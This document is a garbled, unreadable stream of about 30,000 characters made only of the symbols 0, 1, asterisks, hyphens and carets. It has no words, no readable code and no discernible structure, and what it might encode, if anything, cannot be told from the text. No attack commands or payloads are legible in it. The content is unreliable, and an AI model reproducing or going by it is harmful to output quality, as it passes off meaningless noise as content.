01*-----10---0^11*-001011*011011*********-*00^-001**00--101101*-*00-----10---011011*-001011*01011*0-11*1101**011*0101*00101****01**0^1*1^-0--------01010-*-00^1101*****00^1*110^11**1*010^1^1*0-11*011*001*1*-----10---0-11*-001011*0^1101********01^1011*00^1*^1*****01**001^101*001*001*01*1*********00101*^-001**00---101*-*00--------*11**-001011*0^1101******101*010-101*001*010^1*****001**10-**00^101*001*1*1101*001011*0101****01**1^1*-101^11*******101*11*10^-01*01**011*00--------0010-1*-*-1*--------1*001*0-001011*00101101010-*1*^--*-11*-*001*1*********1011*0^-001**00--1^11*-*00---------0101*0-001011*0^110^1^^-11*1*^1*********^11*001*01*001*1*1101*0^11*0101****01**1^1*-101^11*******101*11*101*0011*01**011*00---------00-*-00^1101*******01*0-1**01*010^1********0101^1*001*11*001*1*--------0101*1*-001011*0^1101******01*101*1011*001*010^1*****01****101*00^101*001*1*********00101*^-001**00--1*11*-*00---------00101*-001011*0^1101*********010101*00^1*^^1^10-11*001*001*1*1101*001101******01**001*1********001^1*********-11011****************1**0^101********00-^11********11*01********001*101********1010-1********01**********1010-1*****01**0-011********0011*11********011*01********00--1********--1*********001*101*10^1*01011**11*0-11**1*01^1*001****01**001**0--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001*******010101010--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******0-1011*****001***110101***01***1^1^1****10101*01*******101*0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******101*0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*--------01011**-001011*011011*01010^11011******0-1**10-0-*00--------*101*00-001011*011011*---------00-*-00^1101********01^1101*00^1*^1********1^1101*00^101*001*1*--------01*01*0-001011**011*********-*00^-0010-01*011**11010101**-*00101101010^^101**-*00101**011010-01*011*00--------1101101*0-001011*0-01*1101*00101******00-10--10110101**01*0011**11011******011**0011*101**--------1*-*0-001011*0-01*1101*011**--------00^-*-00^110101*^1*****01**00-01**01*01*001*1*1*^1********00110-*001*01*001*1*--------*0^1*-001011*0^11*********-*********001**0101*101*01^11*00^110^1011*-11*1*011*1**-*0101**-*0--------01010101*-001011*011011*0101*001101*--------1^1101*-001011*0^1101********011*001*00^1*^11*0010-11*001*001*1*01^1*11*******1*0011*01011******************00-01*********^1101********001*101********-01*********^10101*********001*********1*101*********0101********01101^1********-1011********0^10101********0011*0101*10^1*********0101^1*0-00101*001^1*001****01*****0--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******00-011*****001*******00101***1^1^1*********-----10--1*0-1*-00101*001^1*^1101*-0011*^10-0010-11*001****01**0-010^--*****001**0-^1**1*01****01**001**0--*****00-110-^1101*001*010^1********^^11*001*001*01*1*01010^-*00--------1^-1*-*0-*--------*001*00-00101*001^1*^1101*10^1*****01**0-1101**1*001*01*1*0010^1*****01**0-1101**1*001*01*1**********11*--00^11010^1*0110110^1011**1******0011**001***0^1011******001**01^^1*001*011*******011**001**001*101**011010-01*011*00---------0101*0-00101*001^1**11*1101*00101*******1010101*10^11**01**---------0011*0-00101*001^1*^110101*^1********101*01*00^-*001*1*1*^110^110-11*-*001*1*1101********************1011*01*0^--------^10-*-00^11010--10-11*1*^1********1*0011*001*11*001*1*--------0110^1*-00101*001^1*^11**********1*********01**0101*101*01^11*00^1101011011*1*0110101**01*00--------0-0101*-00101*001^1*^11010-01010-11*1*^--010-11*011*001*1*0101*001101*----------01*-00101*001^1*-01*01^1*11*********11*01011********0110-********001^11********001^11********01*101********0-11*******************0010101101********-*1********00110-********00-*********01^1101********1101*0101*10101*001*1*********1*001*0-*001*01^1*001*******010101010--0-*001^1*001*******0-11010--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******01011011*****001**01*11***0-***1^1^1****10101*01*00--------^101*00-*011*001011*--------*011*00-*011*001101*--------10110-*-0011011010^1*0-11*1*^1010-00-11*001*001*1*--------001*1*0-*011*0^110^-0^-11*1*^1*****01**001*101*00^101*001*1*********1*1*^-001**00--1*11*011*00--------0-101*0-*011*0^1101********01^-1*00^1*^1********00-001*001*01*001*1*0101*0-01*--------*10-*-00^1101*****00-*---**1*010^1*********00101*00^^1*0--------011*01*-*011*0^11*********-*00^-001**00--101101*011*00--------0110^1*-*011**-*0101**011*1*101*1*0011**--------0010-1*-*0-*--------*10101*-*011**011*********-*00^-001**00---101*011*00--------*-01*-*011*0^1101******00110101****1*010^--*-11*^1*00101*001101*********1^^1********0110101*******************0^1*********0101^1********001011*********110101********00^1*********0110101*********0101*********011011********01*0101********0011*0101*1*01**11*0^1*0-11*101*001^1*001****01**001**0--*1*001^1*001****01**0-010^--01011**1*******-1*10--001101*01^1*********1***-001*1******0-011********00-0-1**0011***01^1^1****1010^1**00--101101*0101********1*-101^11*****1**00101*00101*11*****1*0011*1*00101*11**01****001**10101*0--*1****001**01101*0--0011*****1**-1**101*11**01****001**1*1*0--001^1*101****1**010^10-1101^11*00-----110----1*0-*01*001^1*^1101******1^1011*1**001*010^10-1*-*001*1*011*****1*00^11**101*1101*011*****1**0101**101*11**01****001**0-*00--*1****001***01*0--0011*****1*00^11**10^-01*011*****1**0101**101*11**01****001**0-*00--*1****001**-1*00--00101****1**0--0-110110-01*0101****1***^10-1101^11*00-----110--*^11*-*01*001^1*^1101******011*-^101*001*010^1*****001**001011**0^^1*01*1*110101******1*^1*101******01**01***001******01**0011011**1*11****011**010-01*101******11**0--**1******11**11***00^-**1*101011****001***1^1*10^11011*01*11011**00-00^110101*001*0101*01011*-**1*10^1*00^11*-**1*101011****001***1^1*101*1011*01*11011**00-00110110101*001*0101**11*-**1*101011*******--01*10^110101******0-*1*101*********0010101*001*********1^101*001*11****001***1^1*101*0011*01*11011**-1^1^-1**1*0101*011****011***^1*0101******11**10101101*001******11**10110-*00^101**1**-01*-**1*101011****001***1^1*10^11011*01*11011**-1^-10101**1*0101*01101*-*001101*01*******0011**1011*-011*110101******11010101*101******11**101***01******11**1*011**1*11*00-----10--1*-1*0-*01*001^1*0-1*110101******101011*00101******1***0011**01******1**0-011**0^11**110101******11010101*101******1**0--1**1******1**011011**001*11**101*00101****1**011*10-00-0-----10--101^101*-*01*001^1*^1101*******0-010^11*001*010^-00-0-11*^1*01*1*-----10--1*-01*-*01*001^1*^1101********01*^1*00^1*^1********1*^1*001*001*01*1*-10-11010^^110101^1^-11*1*^^-*-11*101*001*1*-----10---101011*-*01*001^1**01*-11*^1**110^1**00--101011**1*0-----10--101^-*-*01*001^1*0011*0-11*0011*0-01*10110-11010^^1101******001011*1*1**^1^^1*11*011*001*1*-----10--110--*-*01*001^1*^1101*****00101010-0^11**1*010^-^^-11*-*001*1*0^1*00110^1**00--101101**1*0--------10101**-*01*001^1*01011*0011**011*1*101*101*101**110--0101*1011*--------10^1*00-*01*001^1*^1101*****00110-**0011*00^1^^1*****01**0010-**01*11*001*1*10101*00110^1**00---101**1*0--------**1*0-*01*001^1*1*1*-11*0011*0^11*0110--010^-01*--------0-001*0-*01*001^1*1011*0-11*^1*010110^110101******-01101*101******01***0^1*001******01**0110-1*00^11**1010--010^1*1*-11*--------1011011*0-*01*001^1*^1*0-11*^1**110^1**00--1*11**1*0--------00-11*0-*01*001^1**11*0011*001011*010101*1101*^--10101*0011*1101*-0101*01*001^1*^1101*0-00-11*1*^1010-00-11*101*001*1*0011**110^1**00--1^11**1*010-00-0101*01*001^1*1^1*-11*0011*001101*********-11*********10110-********00101101********10^11*********011011********11*001*****01**010-011********0101101********0--01********11*001*********1**********-1******1**0101101********0010-******01***0^11*********1**********00^1*****001**01^1********00^101********00--11******************0010101*101*1*1*001*1*001*001^1*01101*^1*01^1*001*******010101010--*01*01^1*001****01*****0--0-*001^1*001*******-1*10--0011*001^1*001****01**0^110^--0101*001^1*001****01**0-010^--001101*01^1*1**11010^1*1*******11011******1**11011011***101**001^1^1*010101*101*******-*-110110^110^1011*^101^-*-1**1011*-**11*******10101**101******01**1*0-*001******01**1^1011*00^-----10--^101011*-*01*001^1*^1*0-11*-----10--110-011*-*01*001^1*01101*--------1^-1*-*0011*-----10---010-*-*01*001^1*01011**********1*0^-001**00--1^11**1*0-----10--^--*-*01*001^1*0101*0-11*0011*0-01*--------01^-*-00^1101*****001010^-0^11*00^1^^1*****01***-**001*11*001*1*--------01011**-*01*001^1*11011010^11*1*^-1*10-11*101*001*1*********0-*0^-001**00--101101**1*0--------1*11*00-*01*001^1*1*^1*****01**0101***0^-*001*1*0011*0^11*1101*0011****01**01010101*0101******11***01101*001******11**11010101*001*1101*011*0011**--------1^-1*-0010-*--------1101101*0-*01*001^1*^1101******0-110-0101**^1^^1********01101101*001*11*001*1*********10101*^-001**00--1*11**1*0--------^-1*0-*01*001^1*11011010^1*0-11*1*^-1*10-11*101*001*1*0011**011*0101*00101******00101^1*0101*01****01***-011*010-0^^1*******001*0^1011*1*********0^1*00^--------1^-1*-00-01*--------01^101*-*01*001^1*11011**********1*0^-001**00---101**1*0---------01101*-*01*001^1**11*0011*001101*******************************11011********0101*11********0101**********-011*********0^1********10110-********1*01*********0-011********010-01********00^-*********^1********010110-********0-*0101*1*1*001*1*001*001^1*1011*0-11*-*001^1*001*******0-11010--0011*001^1*001****01**0^110^--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1******01101011*****001***01011***011***1^1^1****1010^-*00------0-1101010-*-*001*01^1*^110^10-10-11*1*^1********010-01*00^-1*01*1*------0-1^--*-*001*01^1*-1*0-11*--------0^-1*-*1011*-11*-----^--0011**0-*001*01^1*-01**********1*0^-001**00--10101*0-11*011*001*1*-----^---11**-*001*01^1*^1101******1^101010-01*001*010^^-*-11*0101*01*1*011*001^1*-01*--------0^-1*-00^11*-11*-----^--110-*00-*001*01^1*0-1*-11*********^1*0^-001**00--101101*011*001*1*-----^--0-001*0-*001*01^1*^11010--10-11*1*^10-1010-11*-1*01*1*011*001^1**11*0101*0110101******1*0101*101******11**10-011*001******11**1101^1*00^11**--------0^-1*-001011*0-11*-----^--*-1*0-*001*01^1*1101101010-*1*^^-*-11*0-*01*1*********0-*0^-001**00---101*011*001*1*-----^--*0^1*-*001*01^1*0-1*011*001^1*0101*0-11*--------0^-1*-00-11*-11*-----^--11*101*-*001*01^1**00^-11*********^1*0--00^101^-*1^1**1*001*1*--------1^-1*-*-1*-----^--00-101*-*001*01^1*1*1*-11*********^1*0^-001**00--1^1*0-11*011*001*1*-----^--*01011*-*001*01^1*-01*-11*011*001^1*00-*001*001^1*01101*--------10110-*-0011011010^11*1*^^1^10-11*0011*01*1*-----^--11010-*-*001*01^1*01101*-11*********^1*0^-001**00---011*011*001*1*-----^--0--1*-*001*01^1*11011*-11*011*001^1*11011*-----110--0101**0-*001*01^1*0^1*-11*1011*0110101*******10101*10^1^1*-11**00110-11*011****011**1*-*0101*-**^^1101010-010-*001*-1*******************001101*01*01*001*0--------0^-1*-0011011*-11*-----110--^-*00-*001*01^1*^11**********1*0^-001**00--101011*011*001*1*-----110--110^1*0-*001*01^1*^1101******01010-0101**001*010^1*****001***11**00^1011*01*1*011*001^1*^11*1101*00101****01**0^1*1^-0--------1^-1*-*1011*-----110---1011*0-*001*01^1*^1101******1010-11010101*001*010^1*****001**-^1**^1011*01*1*********10101*^-001**00--1*11*011*001*1*-----110--0-*1*-*001*01^1*^1101******01010110-0-*00^1^^1********11011011*00^1101*01*1*011*001^1*^1*0-11*001*001^1**11010-01*001*001*1*--------0^-1*-*0-*-11*-----110--00101101*-*001*01^1**01*-11*********^1*0^-001**00--10-1*011*001*1*-----110---*11*-*001*01^1*^1101*0^10-11*1*^101010^-11*0011*01*1*011*001^1*01011*-----110--^11011*-*001*01^1*1^1*-11*0011*00101^-101*110101*******10101*101********0010101101*001*********11*11*001*11****011**10-001*10^1101**-^1^^-001**001*0101*^11*^1*0-11*011*00--------01^-*-00^1101******^10^110^1*00^1^^1*****01***-01**^1101*01*1*-----10--101101**-*001*01^1*^1101******010^1^1***^1^^1*****01**01011***^1101*01*1*********10101*^-001**00--1^11*011*001*1*-----10--1101011*00-*001*01^1*01101*011*001^1*0-1*-----10--1**1*0-*001*01^1*^1101*****0010110101*-01*00^1^^110101010-11*1101*01*1*0101****01**00101*-10110101*001*1*011****001**-01^-101^11*******10-101*10^110101******1*1101*101******01**1101***1******01**-1101**1*11****011**00^1*00101*1101*011****001***1^1*101*0-*01*11011**-1^10-101**1*0101*011****01**01*001*010^11**11011010^1*0010^---1*001*0-*00101*0101^^1*001*1*^1*001**101*001*1*011****001**10101^-101^11****011**00^1*00101*1101*011*******00101011*10^^-*011*010^10^101011*00^11011*11*110-11*011****011**10-001*10^1101**-^1^^11011***1*0101*00-*00101*-11*0101^^1*001*1*^1*0101*001*1*011****001**^-00-101^11****011**00^1*0010^11011*011*******00101011*10^^-*011*010^10110101011*001*1011**********-11*001*11****011**10-001*10^1101**-^1^^-***001*0101*0-1*01101*0101^^1*001*1*^1*0101*001*1*011****001**1^1^-101^11*******^-01*101*1**101*001*1*101*001^1*011****001***01^1^-0-*00--------1^-1*-*1101*--------1011**0-*001*01^1*^110101^1^-11*1*^1*****01**00-0101*00^^1*01*1*********0^1*^-001**00--110-*011*001*1*--------^101*00-*001*01^1*10101*-11*011*001^1*10-*--------101011*00-*001*01^1*1*1*-11*--------^10-*-00^1101*****00101011*0010-*001*010^10-1*-11*0101*01*1*--------0-001*0-*001*01^1*1101101*-*1*^1*****01***011**00^^1*01*1*********1*1*^-001**00--^-*011*001*1*--------^1011*0-*001*01^1*01011*-11*011*001^1*01101******001**^11011********0-011*****0011**1*001******1**0110^1*****01**0-00-*****001**-0-*****0011**^-1*****0011**0110101******1**0011*******1**10^101*****001**0110^1********001^1*****001**00-0101*****01***-001*****001**1101011******1**--01*****01***0^11*****011**1101*1*****01**0101011******11**-001******1**00^-********0-011******11**001*******1**0101011******01**10^-**********1*****0011**10101*********0011*******1**010101******01**11*01****************011***0-*****001****01********01*0^101*1*01*01*1**1*01^1**11*-1*01^1*001****01*****0--00-*01^1*001****01**0-010^--01011*01^1*001*******010101010--*11*01^1*001****01**001**0--01101*01^1*001****01**0^110^--00101*01^1*001*******-1*10--0^1*01^1*001*******0-11010--001101*01^1*********1***-001*1******00101011******01*001^101***^1**001^1^1*1*******0010101*0011*01**00-010-110-**00--01************1*1********1010^^1**************************************************************00101*00101*101011*01*1*1011*01^1**11***********0010-0-011*00101****01**0^1*1^-001^1*********011*010-0-011*0011*******00-101*101*101******00-1*0-10110^1101*011*110101******0^-*0101*********10-11*001*********0-001*001*001**01*001***********01^10-0-011**101*--------00110-*-00^11010-00^-11*1*^-*110-11*^1*01*1*--------001^1*0-001101*01^1*00-**********1*0010-*11*******0-1101*101*1**0^1*-**11**1**0011**101*--------10^11*0-001101*01^1*^11*1101*0110101******0-*1*10^10^^-11*11010^-11*011*******011**0010^^11*-*00101101011*0011010-11*001*********00^11*001*11****01**0010^11*101*********0110-*001********00101*01*001*1011*-11*--------*1^1*-001101*01^1*0-1*0101*0110101******0-*1*101******11**0-01**01******11***001**01*11****011**1*-*0101*-**^1*0010101*101**01*0-*******************001101*01*01*11****01**0010^11*101******11**110-01*001******11**0^1011*001*1^^-11*********10-1*******************00110^1******************************00-********010-001********10-001********10-1********00^1*0101*101101*01*1*1101*01^1*01011*--------*0011*0-*11*001^1*^1101******01*101*01**0^1^^1********101*11*001*001*01*1*********10101**-00---------10-*-001*^--*-11*^1*01*1*--------001*01*-*11*001^1*10-**********1*0^-001**00---101*001*001*1*--------0110^1*-*11*001^1*^1101******01^101*0101*00^1^^1*****01**0101***01*001*01*1*001*001^1*-01*---------10-*-001*^-110110-11*-*001*1*--------*-01*-*11*001^1*00-**********1*0^-001**00--101101*001*001*1*--------010^11*-*11*001^1*01101*001*001^1*01101*******************001101101********0-001*******************0--********001101*********011**********11***********0011********0^1*0101*^11*001*1*011*001^1*11011*^1*01^1*001*******0-11010--*01*01^1*001****01**0^110^--0-*001^1*001****01*****0--001101*01^1*********1***-001*1******0^1011*****001**001011011***11***1^11011****10101*01*******001*0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******001*0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11*******010-01*101*11*******011**00101*0-*-*00101101011*00110^1**00^-00110-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1**00--------0011**0-00101*001^1*0-1*010101*-^--01********001^101*00^^110101^^1********^10101*001*01****01**0^110^--*10^101101*-11*001*******-1*10--001101*-11*001*******-1*10--011011******0-1**10-0-*00--------^10-*-00^110^-1*-11*1*^1********1*1011*001*11*001*1*--------101^1*0-00101*001^1*^11**********1*0--00^11010^1*011011010^11**1*******1**10-101*00^1011*********011*-*001*011*******001*0-011**01*101**011010-01*011*00--------0010-*0-00101*001^1*0101*0-11*1101*00101****1**01011*0-1011011**11011******011**0011*101**--------0101*1*-00101*001^1*0101*0-11*1101**101*--------1^-1*-*1101*--------1101^1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^110101^-0-11*1*0110101**01*00--------10101101*-00101*001^1*0-1*0101*001101*----------01*-00101*001^1*00-*01^1*11*******-01101*01011********^1101*********0-*********0011**********11*********0-*********************-**********^1********^-01********010-********0011*01********01101*0101*10101*001*1*********1*001*0-*11*001^1*001****01**001**0--001101*01^1*********1***-001*1*******01011*****001**0-****0-***1^1^1*--------0011**0-00101*001^1*^1*0-11*01010^-*00---------01**-00101*001^1*1*^101101010-11*^1*01*1*--------1^-1*-*1011*--------^101*00-00101*001^1*1*^1********-01101*00^-*001*1*********-1*010-^^110^1011010^11*^1**01******0011**11010101*001*011******001**0^-**0^1011*01*1^-11*0101**011010-01*011*00--------0010101*0-00101*001^1*1101101010-*1*^-110110-11**1*01*1*1101*00101*******-*0-1011011011******00-**11*-**11011******011**0011*101**--------0010-*0-00101*001^1*^110101*0^-11*1*^110-*-11*-*001*1*1101*00-1*--------1^-1*-*-1*--------1101*1*-00101*001^1*11011**********1*********01**0101*101*01^11*00^110^1101010-11*1*011*1*00101*00--------00^101*-00101*001^1*^1101*****00-0110^11*1*00^1^^1*****01**0011*01*001*11*001*1*0101*001101*--------110-01*-00101*001^1*^11*01^1*11*******01101101*01011********0^1101********^-1********010^1********001010101*********101101********1010-*********1*1********00^1101********0-*********001^101********00101101*******************011*0101*10101*001*1*********101*1*0-00^1*01^1*001*******0-11010--*01*01^1*001****01**001**0--0-*001^1*001****01*****0--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0-0011*****001***-***00101***1^1^1***00--------0^101*0-*10101*1^1*11*******10101101*01011********011********************0-*********00-*********00-*********00101*00101*1*01*01*1**1*01^1*^11*01010^--------0-0-*-001101101010-*1*^-110110-11*001*001*1*--------0^101*0-001011*00-1*********-**10-0010-01*011*-*00--------1*011*0-001011*0^1101********0^10-*00^1*^1*0-0-11*011*001*1*1101**011010-**01*001101*00101101010^1*01**101**011010-01*011**101****1**00110110-11011011**11011******011**0011*101**--------0101*1*-001011*0^1101******011*110^-*001*010^1*****01**0-101**0^101*001*1*--------0010-1*-00^11*--------00^101*-001011*0^110101*^1*****01**0^1***1*01*001*1*1*^1^10110-11*001*001*1*********00101*********1**0101*101*01^11*00^110^1^^-11*1*0110101**01*00--------^^11*-001011**-*0101*001101**********^1*********11*1********001011********00^1**********01101*********10101*********0^1*********10101********01*-*******************0101*0101*10^1*01011*001101*011*001^1*001****01*****0--0101*001^1*001*******010101010--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1******001^11*****001**011*****01***1^1^1******0--------^11**-001011*01*^-010^-11**1*01*1*01010^1*******00^--010-0-*00--------110101*00-001011*001011*--------0010-1*-0010-*--------*-*00-001011*0^1101*********-001*00^1*^1*****01**01*-1*00^-*001*1*********00101*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------00-01*0-001011*00101101*011*1*^-110110-11*011*001*1*1101*00101****1**00^-1*10^11011******011**0011*101**--------1010-*0-001011*0^11010^-00-11*1*^1*^10-11*101*001*1*1101**101*--------*0-1*-001*^1*01010-11*101*001*1*---------1*1*-001011*011011*********-*********001**0101*101*01^11*00^110^1010110-11*1*011*1*0011**---------00101*-001011*001011*0101*001101*--------*01101*-001011*0^1101******010^1101***01*010^1*****01**0^11**001*01*001*1*01^1*11*******00101101*01011*******************1^101********01011*********0-011********0-1^1********1010101********0101*1********011*1*********1^101*********1^1*******************1^101********0011*0101*10^1**********00101*0-*001*01^1*001****01**001**0--0-*001^1*001*******0-11010--0011*001^1*001****01*****0--0101*001^1*001****01**0-010^--*1*001^1*001*******010101010--001101*01^1*********1***-001*1******010^11*****001**001101***0011***01^1^1*********--------*101*00-001011*0^1*0-11*01010^11011******01^1*1010-0-*00---------011*00-001011*01*^^1*10-11*011*001*1*--------0010-1*-*0011*--------*^1*0-001011*0^11*********-*00^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00---------1101*0-001011*01*^1********-00-*00^101*001*1*1101*00101****1**00-0--1011011011******011**0011*101**--------^-1*0-001011*0^1101*****00101010110^-**1*010^-^^-11*001*001*1*1101**101*--------0010-1*-0010-*--------0^^1*-001011*00-1*********-*********001**0101*101*01^11*00^11010--00-11*1*011011**001*00--------01010101*-001011*0^1101******00^1*010-*001*010^-001*-11*001*001*1*0101*001101*--------10-101*-001011**-*01^1*11*******1^1101*01011**********1********00101^1*********001*********-11********001*101********01011*********01101011********0-1011*********01*1********1^^1********1*101*******************0011*0101*10^1*********011*01*0-*11*001^1*001****01**001**0--0101*001^1*001*******0-11010--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1*******^11********0^-11**0011***01^1^1******0--------10-**-001011*011011010^11*1*^1********11*101*001*001*01*1*01010^-*00---------101*00-001011*00101*0-11*--------0010-1*-*1101*--------10-1*00-001011*0^1101******10-*01*1**1*010^1********101*01*00^-*001*1*********00101*^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1*011*0-001011**-*1101*00101****1***110-*101*1**---------1011*0-001011*01*^1*****01**0-***01*11*001*1*1101*01101*0-11*--------01010-*-00^1101********00110^1*00^1*^^10-0-11*101*001*1*--------*0^1*-001011*0^1*0-11**********1*********01**0101*101*01^11*00^110^1101*-11*1*011*1*0011**--------^10101*-001011*00101*0-11*0101*001101*--------1^1101*-001011*0^1101*******0^-*1**1*010^101011*-11*001*001*1*01^1*11*******0^1101*01011********-01*********1*01*********10^1********010-001********1101^1********^1011********01*01*******************01101101********01^^1********1101^1********1101^1********0011*0101*10^1*********0101^1*0-*001*01^1*001****01**0-010^--0-*001^1*001*******010101010--0011*001^1*001*******0-11010--0101*001^1*001****01*****0--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******011*11*****001**00^1***0011***01^1^1******0--------*101*00-*01*001^1*0-1*01010^-*00--------1^-1*-*-1*--------*-*00-*01*001^1*11011**********1*0010-0010-01*011**1*0--------*^1*0-*01*001^1*^11*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------00-01*0-*01*001^1*-01*1101*00101****1***^--1011011011******011**0011*-**11011******00-**11*101**--------0110-*0-*01*001^1*-01*1101**101*--------01^-*-00^1101*****001011*101^11**1*010^1********1101*1*001*11*001*1*--------1^^1*-*01*001^1*1101*0-11*********^1*********01**0101*101*01^11*00^1101*101^-11*1*0110101**01*00--------10110101*-*01*001^1*0-1*0101*001101*---------01101*-*01*001^1*1*^^1*10-11*101*001*1*01^1*11*******1*1101*01011********^^1********01011011********00^1*********00-*********1*-********01^101********0-0^1********1011011********01**1********^1^1********1011011*******************0011*0101*1*1*001*1*********^^1*0-*11*001^1*001*******-1*10--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******001*11********00^-1**0011***01^1^1*********--------*-1*0-*10101*1^1*11********01101*01011********-**********11********************0-**********11*********00101*00101*^11*001*1*011*001^1**11*01010^--------0011011*0-*011*0^110101101*0-11*1*^-*^-11*001*001*1*--------0010-1*-*1101*--------**01*-*011*0^1*0-11**********1*0^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011**101****1***11**0101*1**--------0-^1*-*011*011011*--------0-0-*-001*^1*****01**00-011**^^1*0--------1*1101*-*011*00-1*********-*********001**0101*101*01^11*00^110^1010110-11*1*011*1*0011**--------^^11*-*011*0^11*0101*001101**********1101********0101101*********-11*******************0010-*********10-********00^1**********1011*******************001^11********00101*0101*1*01**11**-*001*001^1*001*******0-11010--01011**1****01**001**0--001101*01^1*********1***-001*1******01*011********010101011**0011***01^1^1******0-----10--11010-*0-00101*001^1*0101*0-11*01010^-*00--------00110-*-00^1101010101*-11*1*^1*11*-11**1*01*1*-----10--11011*1*-00101*001^1*1*^1*****01**0101***01*101*01*1*********-1*0--00^11010^1*011011010^11**1******001**010^-*00^1011******001**0010^1**1*011******00101*00-10101*001*101**011010-01*011*00-----10---0-01*-00101*001^1*0011*0-11*1101*00101******001011*0-1011011011******011**0011*-**11011******00-**11*101**-----10--101101011*-00101*001^1*^1101010101^-11*1*^^101010-11*^1*01*1*1101*00101*******011**010^11011******011**0011*-**11011******00-**11*101**-----10---10-1*-00101*001^1*0011*0-11*1101*00101******001101*0-1011011011******011**0011*-**11011******00-**11*101**--------0^1**-00101*001^1*0101101*011*1*^1*01010-11*^1*01*1*1101*00101*******01*00-1011011011******011**0011*-**11011******00-**11*101**--------0^11*00-00101*001^1*^1101******00^1010^-*001*010^-001*-11*011*001*1*1101*001101*---------^11*-00^1*0-11*--------01101011*-00^110101010-0-11*1*^11*1010-11**1*01*1*--------11*-*-*1011*--------^10-*-00^1101******01*11011*1**1*010^-*010-11*011*001*1*--------*0-*0-00101*001^1*110110^-1*1*^1********110^11*00^-*001*1*********001011********00-001********001*01********001*1*********001*00101*101*01^11*00^11010-01*-11*1*0110101**01*00--------0-^1*-00101*001^1*0101*0-11*0101*001101*--------^10101*-00101*001^1*^1101*****00--0010101011*001*010^^101010-11*011*001*1*01^1*11*******-10101*01011********110-1*****001**0011**********10^11********11*1********0011010-*****01**011*01*****001**01*001*******************010^11********-10101*********11*********010^11********1*0011********-1*1********0-*0101*10101*001*1*********-0101*0-*101*01^1*001*******0-11010--0^1*01^1*001****01**0-010^--*01*01^1*001****01*****0--0-*001^1*001****01**001**0--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1********11*****001**0010-01***01***1^1^1*1*******0010101*********0011*******1**0101101*****001**001*101*********-01****************00-*1*001******1010^^1**************************************************************00101*00101*1*001*1*1**01*1^1**11***********0010-0-011*00101****01**0^1*1^-001^1*********011*010-0-011*0011****001**0^1**101*11****011**10-001*10^1101**-^1^^1*011**01*0101*0-1*00-*011*******00110101*101*1**-*00--------0^-1*-00^1*0-11*-----10---1*01*-*011*01^1*00-**********1*0--00^101^-*^1*001*1*101*001*1*-----10--10101^1*-*011*01^1*^11*101*001^1**11010-01*101*001*1*-----10--1*10101*-*011*01^1*00-*1101**01*0--------^10-*-00^1101*****00-11*011*01*001*010^11*1^-11*0-*01*1*-----10--101*011*-*011*01^1*11011**********1*0^-0010-00--010^11010-11*010110101*^1*****01**010^101*001*01*******0-11010--01^^1101^10-11*001****01**0^110^--0101^10-11*001****01**0^110^--0-110101**00--101101*110101******11011**10^1*1*-11*^1*0-11*011****011**1*-*0101*-**^1*0010101*001**01*1011********************-*01*01*001*0110101******11011**101******1**00^-1*001******1**010^-*001*11****011**1*-*0101*-**^1*0010101^-**01*-1********************-*01*01*001**11*00101^1101*001*1*001*001*1*--------010-*00-*011*01^1*^11*101*001^1*01101*--------101*1*0-*011*01^1*10-*001*001^1*110101******-0^1*101******01**0110^1*001******01**1010-1*00^-01*011*******00101011*10^^-*011*010^1011*1011*001*1011*01010110-11*011*001101*0011****011**0011*1*101*^11*1*110101^110-*1*001********************01*01*01*0011*--------01*001*-*011*01^1*^1101********00101^1*00^1*^-110110-11*1011*01*1*0101*0110101******--*00101******11**0^1101*001******11**00110101*001*11****011**1*-*0101*-**^1*00101010101***1*-1********************011*01*01*11****01**0010^11*101******1**00101*1*001******1**011*-*001*0-*-11*********001*01********-*1********0-1*1********001*01********001*01*****01**0^^1*****001**0-01*********-*1*****001**0-101***************************01**01*01*********011*0101*1*11*01*1*0011*01^1**11*--------0-011*0-*001*01^1*^11**********1**0-00--------00110-*-00^1101*001*-11*1*^-1*10-11*0101*01*1*--------*1*1*-*001*01^1*11011**********1*0^-001**00---101*011*001*1*--------0101^1*-*001*01^1*00-*011*001^1*-01*--------01^-*-00^1101******-1^^1011**^1^^1*****01**01101011**^^1*01*1*--------*-01*-*001*01^1*01101**********1*0^-001**00--101101*011*001*1*--------010^11*-*001*01^1*10-*011*001^1*01101*******************00-1101********0110-*********101101********00101101********01101*********0110-********0011***********011********00^1*0101*1*01*01*1**1*01^1*0-1*0101*01^1*001****01*****0--0^1*01^1*001****01**0^110^--00-*01^1*001*******-1*10--01011*01^1*001*******0-11010--001101*01^1*********1***-001*1******0-1101******1**011*01**00-***1^11011****10101*01*******11*00110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******11*00-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******10110101*101*11*******011**0010^11011*-*00101101011*001101***001********001010-1*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^--------1010101*00-00101*001^1*11011*01010^11011******001**1010-0-*00--------1^-1*-0011011*----------*00-00101*001^1*^11**********1*0--00^11010^1*0110110^1011**1******0011**0101*1*00^1011**001*-11*0011*******-**0101**01*101**011010-01*011*00--------11*11*0-00101*001^1*^110^10^10-11*1*^1********01^101*00^-*001*1*1101*00101****1**0-**0010^11011******011**0011*101**--------1**1*-00101*001^1*^1101*****001010-0^-01*001*010^-10-0-11*011*001*1*1101**101*--------1^-1*-0010-